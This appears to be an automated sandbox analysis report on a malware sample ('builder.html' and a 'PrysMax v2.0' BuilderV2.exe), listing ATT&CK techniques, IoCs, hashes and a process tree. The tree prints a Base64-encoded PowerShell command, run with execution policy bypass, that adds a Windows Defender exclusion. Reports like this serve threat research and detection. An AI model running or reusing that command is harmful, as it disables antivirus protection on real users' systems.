276d6beab74d5f7df2ed83408e8fed587b23a80c4f8ad13e7cf5ab69b3b608c9

Analysis

user interaction
yes
max time kernel
56s
max time network
56s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/09/2026, 21:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
builder.html
Size 7KB
Sample260924-z9npdsseqd
SHA256 276d6beab74d5f7df2ed83408e8fed587b23a80c4f8ad13e7cf5ab69b3b608c9
MD5 05fe2942a1ca2b4855ed291a244c24d8
SHA1 3443e1603177ca2ed02ba49d1aaf222c29eefec0
SHA512 72cce1b73da9fd0ca5104e1692cd4554decbbfbb9c7aa9454a457b7731b0658de9925a4a7836e4e69dc5e159afa660183abb78d8fd7a8a8fe3bb11f5bb300bc6
SSDEEP 192:d/G3s/MsXXd9EvNo9EjwRG887uWnyuZpWv6Z:d/jG8WyuZL
TLSH
T1FCE14176E1C2100E603FD2E2AFA21761EBDA405FC182547937FC53676FF4918A567A4C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution themida

Malware Config

Signatures

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x00070000000244fa-434.dat	themida
behavioral1/memory/1712-441-0x0000000140000000-0x0000000141ABC000-memory.dmp	themida
behavioral1/memory/1712-442-0x0000000140000000-0x0000000141ABC000-memory.dmp	themida
behavioral1/memory/1712-443-0x0000000140000000-0x0000000141ABC000-memory.dmp	themida
behavioral1/memory/1712-444-0x0000000140000000-0x0000000141ABC000-memory.dmp	themida
behavioral1/memory/1712-445-0x0000000140000000-0x0000000141ABC000-memory.dmp	themida

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
176	raw.githubusercontent.com
35	raw.githubusercontent.com
36	raw.githubusercontent.com
37	raw.githubusercontent.com
175	raw.githubusercontent.com

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
168	api.ipify.org
169	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1312	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3524	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134347587227049750"	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-747854149-4118156852-591593384-1000\{78F99CEB-A13A-4073-AFFE-31E81EB2EB4B}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
5888	powershell.exe
5888	powershell.exe
5888	powershell.exe
5556	BuilderV2.exe
5556	BuilderV2.exe
5556	BuilderV2.exe
5556	BuilderV2.exe
5556	BuilderV2.exe
5556	BuilderV2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5888	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5556	BuilderV2.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 1704	5076	msedge.exe	86
PID 5076 wrote to memory of 4004	5076	msedge.exe	87
PID 5076 wrote to memory of 3524	5076	msedge.exe	88
PID 5076 wrote to memory of 4004	5076	msedge.exe	87
PID 5076 wrote to memory of 4004	5076	msedge.exe	87
PID 5076 wrote to memory of 2948	5076	msedge.exe	89
PID 5076 wrote to memory of 2948	5076	msedge.exe	89
PID 5076 wrote to memory of 2300	5076	msedge.exe	91
PID 5076 wrote to memory of 2300	5076	msedge.exe	91
PID 5076 wrote to memory of 2300	5076	msedge.exe	91
PID 5076 wrote to memory of 3740	5076	msedge.exe	92
PID 5076 wrote to memory of 3740	5076	msedge.exe	92
PID 5076 wrote to memory of 3740	5076	msedge.exe	92
PID 5076 wrote to memory of 1036	5076	msedge.exe	94
PID 5076 wrote to memory of 1036	5076	msedge.exe	94
PID 5076 wrote to memory of 1036	5076	msedge.exe	94
PID 5076 wrote to memory of 4148	5076	msedge.exe	95
PID 5076 wrote to memory of 4148	5076	msedge.exe	95
PID 5076 wrote to memory of 4148	5076	msedge.exe	95
PID 5076 wrote to memory of 3968	5076	msedge.exe	99
PID 5076 wrote to memory of 3968	5076	msedge.exe	99
PID 5076 wrote to memory of 1144	5076	msedge.exe	100
PID 5076 wrote to memory of 1144	5076	msedge.exe	100
PID 5076 wrote to memory of 2196	5076	msedge.exe	103
PID 5076 wrote to memory of 3728	5076	msedge.exe	105
PID 5076 wrote to memory of 3728	5076	msedge.exe	105
PID 5076 wrote to memory of 3728	5076	msedge.exe	105
PID 5076 wrote to memory of 2876	5076	msedge.exe	112
PID 5076 wrote to memory of 2876	5076	msedge.exe	112
PID 5076 wrote to memory of 5192	5076	msedge.exe	115
PID 5076 wrote to memory of 5192	5076	msedge.exe	115
PID 5076 wrote to memory of 5776	5076	msedge.exe	121
PID 5076 wrote to memory of 5776	5076	msedge.exe	121
PID 5076 wrote to memory of 5784	5076	msedge.exe	122
PID 5076 wrote to memory of 5784	5076	msedge.exe	122
PID 5076 wrote to memory of 5784	5076	msedge.exe	122
PID 5076 wrote to memory of 5792	5076	msedge.exe	123
PID 5076 wrote to memory of 5320	5076	msedge.exe	126
PID 5076 wrote to memory of 5304	5076	msedge.exe	127
PID 5076 wrote to memory of 5328	5076	msedge.exe	128
PID 5076 wrote to memory of 5404	5076	msedge.exe	130
PID 5076 wrote to memory of 5404	5076	msedge.exe	130
PID 5556 wrote to memory of 1312	5556	BuilderV2.exe	134
PID 1312 wrote to memory of 5888	1312	cmd.exe	136
PID 5556 wrote to memory of 1712	5556	BuilderV2.exe	137

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument C:\Users\Admin\AppData\Local\Temp\builder.html
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x2f0,0x7ffa352cc188,0x7ffa352cc194,0x7ffa352cc1a0
  2⤵
  PID:1704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1700,i,17229864829351604649,14088996815401118645,262144 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:2
  2⤵
  PID:4004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1816,i,17498739306508844907,8526479856517043667,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=2524 /prefetch:3
  2⤵
  - System Time Discovery
  PID:3524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2528,i,4169521352849277427,17423432698746699541,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:8
  2⤵
  PID:2948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3456,i,2579571719969511145,1132642973844431097,2097152 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
  2⤵
  PID:2300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3460,i,16112029261399644759,11201526118738598243,2097152 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=3532 /prefetch:1
  2⤵
  PID:3740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4232,i,16176095650036793496,8268167241529374013,2097152 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:1
  2⤵
  PID:1036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4256,i,15537906604856236386,15056838104363616324,2097152 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:2
  2⤵
  PID:4148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5096,i,4540779277789944578,3048554619927336044,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:8
  2⤵
  PID:3968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5124,i,7905629866634294576,1751920894635965597,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=5184 /prefetch:8
  2⤵
  PID:1144
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5784,i,12132367773261159164,4411805777894697655,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:8
  2⤵
  PID:4744
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5784,i,12132367773261159164,4411805777894697655,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:8
  2⤵
  PID:2196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6232,i,15679505321294877491,1336280665219385826,2097152 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:1
  2⤵
  PID:3728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,11113672797646380475,7884790587209905989,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:8
  2⤵
  PID:2876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6536,i,9366958941187131454,5040895847778469848,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:8
  2⤵
  PID:5192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4536,i,1192104023122473070,4616524206853309988,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=4348 /prefetch:8
  2⤵
  PID:5776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4516,i,15753929265058060506,4606515460539895708,2097152 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:1
  2⤵
  PID:5784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6852,i,12246482646449819381,8501368934523240762,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=6896 /prefetch:8
  2⤵
  PID:5792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7216,i,16361619190327010627,7884976462484535949,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=7204 /prefetch:8
  2⤵
  PID:5320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=560,i,12083398409160406418,15603547016453979178,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=7120 /prefetch:8
  2⤵
  PID:5304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7196,i,17343654891915395150,5957627555103783733,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=7252 /prefetch:8
  2⤵
  PID:5328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3124,i,16620913398568650646,16087163157219670377,524288 --field-trial-handle=2452,i,9425369121700839958,16893440699621203069,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:8
  2⤵
  PID:5404

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3772

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6092

C:\Users\Admin\Downloads\PrysMax v2.0\PrysMax v2.0\BuilderV2.exe
"C:\Users\Admin\Downloads\PrysMax v2.0\PrysMax v2.0\BuilderV2.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5556
- C:\Windows\system32\cmd.exe
  "cmd" /C "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABTAHQAbwByAGUAIAAtAEYAbwByAGMAZQAgAD4AJABuAHUAbABsACAAMgA+ACYAMQA="
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABTAHQAbwByAGUAIAAtAEYAbwByAGMAZQAgAD4AJABuAHUAbABsACAAMgA+ACYAMQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5888
- C:\Users\Admin\AppData\Local\Store\YADHelper\code8.exe
  "C:\Users\Admin\AppData\Local\Store\YADHelper\code8.exe"
  2⤵
  PID:1712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

69b0d7b0-3044-4d59-a10c-7dbb81ee6b91.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\69b0d7b0-3044-4d59-a10c-7dbb81ee6b91.tmp
Size 18KB
SHA256 06d9d4db06ae6e81331ddfe7522521a0831e9bf99d054ecb3574906c5907e9c2
MD5 5b6dfa0f52d793f32134cf51b0f25ef1
SHA1 4f2493ea39e7887d4bda76639b92036d7744c6f8
SHA512 ac26ac5b66706fb52dd8a6392ba8be6453ef30e6a4457d22c9f179e35f942bae27bd49a58965114ea0d4e292f3f0dfeb464c743c712f1531660ec9a44e16fa74
SSDEEP 384:VZcIcsNm7xvG5YQwBGYX5Ew8+8jtCwTeUCS8oc:tcXGXKGYuw83hCwexj
TLSH
T1A8828D769C78AC7B28E7A585F44B3A135FF49027A7C87F9491EC5B1D01CB698130AC2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 27f6aa5d39c98b4843eaed7972cf93d10e75e08f497afafa54ccf4057f6d52c9
MD5 a91eafa1aeb7b35d5c7abac6d2c83384
SHA1 a76b97105496dbfe28857282f5b661789a032b25
SHA512 4bebba8a121156a8e7e31bb49955c0375f1ca3be7dcd3c9b113d261a4618ecdf6781fce438d8e56020e438286e1619d3844f48e91b2b2c3cbb4a55d4c199972a
TLSH
T17AD02B24C9E41E90D0131434002241453F8CC03858023012D0B812AE15419D60A21020
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 0e364ae2365b95ee5142a1a0abe3ee5065b85c554bc5cb9fcb1f31bcd0a1af4e
MD5 75bc6f9debcf49d2312740dfba56733a
SHA1 af0f5dfe4b330cf62c24c0003f6c57159b23e268
SHA512 c0a6cf9272c224460d1e7d25cf8159aa43733ebfb5f2761293ec6a5f2b4d71e061daa60092335856322f566a072c79184d7ad45d2b04b7cf8f3628e3a4bd4d35
TLSH
T176D02B2489E41E90D4131434002141453F8CC03858027113D0B812AE05429D60A21020
MD5 SHA1 SHA512 TLSH

Submit Download

93c284ef-a197-4289-885f-02af6b976fe6.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\93c284ef-a197-4289-885f-02af6b976fe6.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 ee052ff24851cd417a0a66b0a836d50c238dc53a9d1a5d2b0f788742634b51a7
MD5 e2f7c2c1c569395387ab6435e548ce3d
SHA1 d921a7046ea2ae895390485098b39201757963d1
